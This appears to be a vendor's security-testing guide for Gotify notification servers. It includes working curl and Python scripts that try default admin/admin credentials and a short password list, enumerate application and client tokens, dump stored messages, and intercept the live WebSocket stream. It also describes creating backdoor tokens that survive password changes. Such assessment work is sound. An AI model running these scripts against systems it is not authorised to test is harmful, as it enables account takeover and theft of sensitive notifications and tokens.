Gotify Security Testing: Default Credentials, Application Tokens, WebSocket Message Access

Gotify is a widely deployed self-hosted push notification server used to receive alerts from monitoring tools (Uptime Kuma, Grafana), CI/CD pipelines, automation scripts, and home automation systems. Its security significance stems from the type of content notifications carry: security alerts, CI/CD build results, server monitoring states, and credential-containing messages. Its security assessment covers: Gotify ships with default credentials admin/admin that are the documented default in every installation guide — unchanged defaults give full access to all applications, tokens, and message history; Gotify uses application tokens (for sending messages to Gotify) and client tokens (for receiving messages from Gotify) — both token types are non-expiring by default; application tokens used by CI/CD systems and monitoring tools are frequently committed to version control or stored in script files; the /stream WebSocket endpoint authenticated by a client token receives all future messages in real time; and Gotify's REST API allows creating additional application and client tokens, enabling persistent access even after a password change. This guide covers systematic Gotify security assessment.

Table of Contents

  1. Default Credential Testing
  2. Application and Client Token Enumeration
  3. Message History and WebSocket Access
  4. Gotify Security Hardening

Default Credential Testing

# Gotify default credentials: admin / admin
GOTIFY_URL="https://push.example.com"

# Test default credentials via login endpoint
RESPONSE=$(curl -s -X POST "${GOTIFY_URL}/user/login" \
  -H "Content-Type: application/json" \
  -d '{"name":"admin","pass":"admin"}' 2>/dev/null)

CLIENT_TOKEN=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token',''))
" 2>/dev/null)

if [ -n "$CLIENT_TOKEN" ] && [ "$CLIENT_TOKEN" != "null" ]; then
  echo "DEFAULT CREDENTIALS WORK — client token: ${CLIENT_TOKEN}"
  # Get admin user info
  curl -s "${GOTIFY_URL}/current/user" \
    -H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"name\")} admin={d.get(\"admin\")}')
" 2>/dev/null
fi

# Test common Gotify default passwords
for PASS in "admin" "gotify" "password" ""; do
  RESULT=$(curl -s -X POST "${GOTIFY_URL}/user/login" \
    -H "Content-Type: application/json" \
    -d "{\"name\":\"admin\",\"pass\":\"${PASS}\"}" 2>/dev/null)
  if echo "$RESULT" | grep -q '"token"'; then
    echo "AUTH SUCCESS: admin/${PASS}"
    break
  fi
done

Application and Client Token Enumeration

# Gotify token enumeration — list all application and client tokens
GOTIFY_URL="https://push.example.com"
CLIENT_TOKEN="your-gotify-client-token"  # from login

# List all applications (each has a send-only application token)
curl -s "${GOTIFY_URL}/application" \
  -H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
apps = json.load(sys.stdin)
print(f'Applications: {len(apps)}')
for app in apps:
    print(f'  [{app.get(\"id\")}] {app.get(\"name\")} token={app.get(\"token\")}')
" 2>/dev/null

# Each application token can send messages to that application
# These tokens are often embedded in CI/CD pipelines and monitoring scripts
# and may be committed to version control

# List all client tokens (for receiving messages)
curl -s "${GOTIFY_URL}/client" \
  -H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
clients = json.load(sys.stdin)
print(f'Clients: {len(clients)}')
for c in clients:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} token={c.get(\"token\")}')
" 2>/dev/null

Message History and WebSocket Access

# Gotify message history — all past notifications accessible with client token
GOTIFY_URL="https://push.example.com"
CLIENT_TOKEN="your-gotify-client-token"

# Dump all stored messages — may contain security alerts, CI/CD results,
# monitoring data, and other sensitive operational notifications
curl -s "${GOTIFY_URL}/message?limit=100" \
  -H "X-Gotify-Key: ${CLIENT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('messages',[])
print(f'Messages: {len(msgs)}')
for m in msgs[:20]:
    print(f'  [{m.get(\"date\",\"\")[:10]}] {m.get(\"title\",\"?\")} — {str(m.get(\"message\",\"\"))[:80]}')
" 2>/dev/null

# Connect to WebSocket stream to receive all future messages in real time
# wscat -c "wss://push.example.com/stream?token=${CLIENT_TOKEN}"
# Or with Python:
python3 -c "
import websocket, json
def on_message(ws, msg):
    d = json.loads(msg)
    print(f'New notification: {d.get(\"title\")} — {d.get(\"message\")}')
ws = websocket.WebSocketApp(
    'wss://push.example.com/stream?token=CLIENT_TOKEN',
    on_message=on_message
)
ws.run_forever()
" 2>/dev/null

Gotify Security Hardening

Gotify Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credentialsPOST /user/login with admin/admin — client token gives full access to all applications, message history, user management, and token enumerationCritical
Application token enumeration via APIGET /application with client token — lists all application tokens including those used by CI/CD pipelines, monitoring tools, and automation scripts to send notificationsHigh
Message history access revealing sensitive contentGET /message?limit=100 with client token — retrieves all stored notifications; Gotify messages frequently contain server alerts, CI/CD build output with credentials, and security monitoring dataHigh
WebSocket stream real-time message interceptionConnect to /stream?token=CLIENT_TOKEN WebSocket — receives all future notifications in real time across all applications the token has access toHigh
Persistent backdoor token creation via APIPOST /client or /application with admin token — creates additional non-expiring tokens that survive admin password changes, providing persistent access to the notification streamMedium
Application token committed to version controlSearch Git repositories for Gotify token patterns — application tokens embedded in CI/CD config files are frequently committed to version controlHigh

Automate Gotify Security Testing

Ironimo tests Gotify deployments for default admin/admin credentials giving full API access, application token enumeration revealing tokens embedded in CI/CD pipelines and monitoring tools, message history access exposing sensitive operational notifications including security alerts and build output, WebSocket stream real-time interception via client token, persistent backdoor token creation via the API that survives password changes, and application tokens committed to version control.

Start free scan